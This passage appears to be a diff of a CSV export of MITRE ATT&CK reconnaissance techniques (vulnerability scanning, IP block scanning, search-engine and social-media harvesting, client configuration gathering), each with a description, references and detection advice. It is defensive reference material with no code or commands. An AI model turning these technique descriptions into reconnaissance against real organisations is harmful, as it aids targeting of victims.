+attack-pattern,attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:55:16.047Z,2021-04-15T03:20:09.446Z,Vulnerability Scanning,"Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. -These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1595/002', external_id='T1595.002'), ExternalReference(source_name='OWASP Vuln Scanning', description='OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.', url='https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning')]",attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:20:09.446000+00:00,Vulnerability Scanning,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. +These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1595/002', 'external_id': 'T1595.002'}, {'source_name': 'OWASP Vuln Scanning', 'description': 'OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.', 'url': 'https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:54:23.193000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:54:23.193Z,2021-04-15T03:19:38.469Z,Scanning IP Blocks,"Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. -Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1595/001', external_id='T1595.001'), ExternalReference(source_name='Botnet Scan', description='Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020.', url='https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf')]",attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:19:38.469000+00:00,Scanning IP Blocks,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Network Traffic: Network Traffic Flow'],,,,,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). +Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1595/001', 'external_id': 'T1595.001'}, {'source_name': 'Botnet Scan', 'description': 'Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020.', 'url': 'https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Flow'],,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:53:16.526000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:53:16.526Z,2021-04-15T03:20:09.600Z,Active Scanning,"Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. -Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1595', external_id='T1595'), ExternalReference(source_name='Botnet Scan', description='Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020.', url='https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf'), ExternalReference(source_name='OWASP Fingerprinting', description='OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020.', url='https://wiki.owasp.org/index.php/OAT-004_Fingerprinting')]",attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:20:09.600000+00:00,Active Scanning,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. +Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1595', 'external_id': 'T1595'}, {'source_name': 'Botnet Scan', 'description': 'Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020.', 'url': 'https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf'}, {'source_name': 'OWASP Fingerprinting', 'description': 'OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020.', 'url': 'https://wiki.owasp.org/index.php/OAT-004_Fingerprinting'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,False,,,,['PRE'],,,,1.0 -2020-10-02 16:51:50.306000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:51:50.306Z,2021-04-15T03:53:33.023Z,Search Victim-Owned Websites,"Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) -Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1594', external_id='T1594'), ExternalReference(source_name='Comparitech Leak', description='Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.', url='https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/')]",attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:53:33.023000+00:00,Search Victim-Owned Websites,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Application Log: Application Log Content'],,,,,"Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.",,,,,False,,,,['PRE'],,,,1.0 -2020-10-02 16:50:12.809000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) +Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1594', 'external_id': 'T1594'}, {'source_name': 'Comparitech Leak', 'description': 'Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.', 'url': 'https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Application Log: Application Log Content'],,"Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.",False,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:50:12.809Z,2021-04-15T03:52:06.960Z,Search Engines,"Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) -Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1593/002', external_id='T1593.002'), ExternalReference(source_name='SecurityTrails Google Hacking', description='Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.', url='https://securitytrails.com/blog/google-hacking-techniques'), ExternalReference(source_name='ExploitDB GoogleHacking', description='Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.', url='https://www.exploit-db.com/google-hacking-database')]",attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:52:06.960000+00:00,Search Engines,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1593/002', 'external_id': 'T1593.002'}, {'source_name': 'SecurityTrails Google Hacking', 'description': 'Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.', 'url': 'https://securitytrails.com/blog/google-hacking-techniques'}, {'source_name': 'ExploitDB GoogleHacking', 'description': 'Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.', 'url': 'https://www.exploit-db.com/google-hacking-database'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:49:31.262000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:49:31.262Z,2021-04-15T03:52:40.958Z,Social Media,"Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. -Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1593/001', external_id='T1593.001'), ExternalReference(source_name='Cyware Social Media', description='Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.', url='https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e')]",attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:52:40.958000+00:00,Social Media,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1593/001', 'external_id': 'T1593.001'}, {'source_name': 'Cyware Social Media', 'description': 'Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.', 'url': 'https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:48:04.509000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:48:04.509Z,2021-04-15T03:52:41.104Z,Search Open Websites/Domains,"Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) -Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1593', external_id='T1593'), ExternalReference(source_name='Cyware Social Media', description='Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.', url='https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e'), ExternalReference(source_name='SecurityTrails Google Hacking', description='Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.', url='https://securitytrails.com/blog/google-hacking-techniques'), ExternalReference(source_name='ExploitDB GoogleHacking', description='Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.', url='https://www.exploit-db.com/google-hacking-database')]",attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:52:41.104000+00:00,Search Open Websites/Domains,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1593', 'external_id': 'T1593'}, {'source_name': 'Cyware Social Media', 'description': 'Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.', 'url': 'https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e'}, {'source_name': 'SecurityTrails Google Hacking', 'description': 'Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.', 'url': 'https://securitytrails.com/blog/google-hacking-techniques'}, {'source_name': 'ExploitDB GoogleHacking', 'description': 'Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.', 'url': 'https://www.exploit-db.com/google-hacking-database'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,False,,,,['PRE'],,,,1.0 -2020-10-02 16:47:16.719000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:47:16.719Z,2021-10-17T16:35:09.668Z,Client Configurations,"Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1592/004', external_id='T1592.004'), ExternalReference(source_name='ATT ScanBox', description='Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', url='https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks')]",attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:22:14.288000+00:00,Client Configurations,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in 